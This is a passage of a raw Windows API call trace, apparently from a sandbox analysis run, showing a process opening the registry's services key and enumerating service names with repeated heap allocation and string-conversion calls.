(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.009] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0243.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0243.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.009] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0243.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0243.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.009] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0243.009] RegCloseKey (hKey=0x154) returned 0x0 [0243.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0243.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0243.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f16e8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1c40, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f16e8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1c40, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0243.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0243.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0243.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f16e8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0243.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0243.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0243.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0243.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0243.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0243.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1c40, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0243.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.013] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0243.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0243.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.013] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0243.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0243.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.014] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0243.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.015] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.015] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.015] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0243.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.016] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0243.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.016] 